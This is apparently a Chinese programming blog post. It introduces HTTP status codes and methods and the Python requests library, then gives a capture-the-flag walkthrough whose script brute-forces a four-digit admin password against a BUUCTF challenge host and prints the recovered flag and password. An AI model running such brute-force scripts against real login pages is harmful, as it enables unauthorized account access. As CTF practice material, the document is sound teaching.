Python编程_1

1、 HTTP常见状态码介绍

当我们从客户端向服务器发送请求时
服务器向我们返回状态码
状态码就是告诉我们服务器响应的状态
通过它,我们就可以知道当前请求是成功了还是出现了什么问题
状态码是由3位数字和原因短语组成的(比如最常见的:200 OK)
其中第一位数字表示响应类别,响应类别从1到5分为五种

状态码响应类别原因短语
1XX信息性状态码(Informational)服务器正在处理请求
2XX成功状态码(Success)请求已正常处理完毕
3XX重定向状态码(Redirection)需要进行额外操作以完成请求
4XX客户端错误状态码(Client Error)客户端原因导致服务器无法处理请求
5XX服务器错误状态码(Server Error)服务器原因导致处理请求出错
常见状态码原因
200请求成功
301请求的资源已被永久的移动到新URI
302临时移动
400客户端请求的语法错误,服务器无法理解
401请求要求用户的身份认证
403服务器理解请求客户端的请求,但是拒绝执行此请求
404服务器无法根据客户端的请求找到资源(网页)
408服务器等待客户端发送的请求时间过长,超时
500服务器内部错误,无法完成请求
503由于超载或系统维护,服务器暂时的无法处理客户端的请求
504充当网关或代理的服务器,未及时从远端服务器获取请求
505服务器不支持请求的HTTP协议的版
HTTP常见方法说明
GET请求URL指定的资源。指定的资源经服务器端解析后返回响应内容
POST:传输实体主题
PUT传输文件
HEAD获取报文首部
DELETE删除文件
OPTIONS询问支持的方法
TRACE追踪路径
CONNECT要求用隧道协议链接代理

常见

2、python编程之HTTP请求

1、Request模块
Requests: 让 HTTP 服务人类,使用requests可以模拟浏览器的请求,比起之前用到的urllib,requests模块的api更加便捷(本质就是封装了urllib3)

注意:requests库发送请求将网页内容下载下来以后,并不会执行js代码,这需要我们自己分析目标站点然后发起新的request请求

官方文档:http://cn.python-requests.org/zh_CN/latest/

安装:pip3 install requests
调用:import requests
1、GET参数请求

  • 当无参数时
    使用request.get(url)调用
import requests #调用requests库
url = 'http://www.baidu.com' 
r  = requests.get(url) #获取url,将获取到的信息赋值给r
print(r.url)
  • 当有参数时
    使用request.get(url,params={key1:value,key2:value})
    当有多个参数时,直接往后面加就行了
    实例代码
import requests
url = 'http://127.0.0.1'
r  = requests.get(url,params={'uasrname':'user','password':'pass'})
print(r.url)

运行结果
在这里插入图片描述

2、POST参数请求

  • 无参数时
    使用requests.post(url)
  • 有参数时
    使用requests.post(url=url,data={key:value1,key:value2})
    同样如果多个数据那就直接加在后面,实列代码与GET参数传递类似

3、自定义请求头

header = {key:value}
	request.get(url,headers=headers)
	r   = request.get(url)

此段代码可以更改HTTP头的信息,代码如下

import requests
url = "127.0.0.1"
r1 = requests.get(url)
print(r1.headers)
headers   = {'Content-Length':'400'}
r = requests.get(url,headers=headers)#使用自定义的请求头
print(r.request.headers)

常见的获取HTTP信息的方式

代码说明
r.url输出url
r.status_code获取状态码
r.text获取响应文本(源代码)
r.content获取响应文本(2进制流数据)
r.headers获取响应头
r.cookie获取Cookie

ADD:这里r.content可以通过decode方式将2进制数据流解码成字符串
如:r.content.decode()

3、实战之破解弱密码

目标:BUUCTF-BUU BRUTE 1
打开题目显示账号为admin,密码为4为数字弱密码,因此可以直接写脚本进行暴力破解
在这里插入图片描述
参考代码

import  requests
url = 'http://33ff0af2-21cb-4c23-9368-4356a75f4f58.node3.buuoj.cn'
dict ='0123456789' #字典信息
for a in range(0,len(dict)): #生成1000-9999的数字
    for b in range(0,len(dict)):
        for c in range(0,len(dict)):
            for d in range(0,len(dict)):
                flag = dict[a] +dict[b] +dict[c] + dict[d]
                payload = {'username': 'admin', 'password': flag}
                r = requests.get(url, params=payload)
                print(r.content.decode()+flag)
                   

最后得到结果flag{c94b1ffb-f512-42ba-b8da-1ad4710645ce}且密码为6490
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值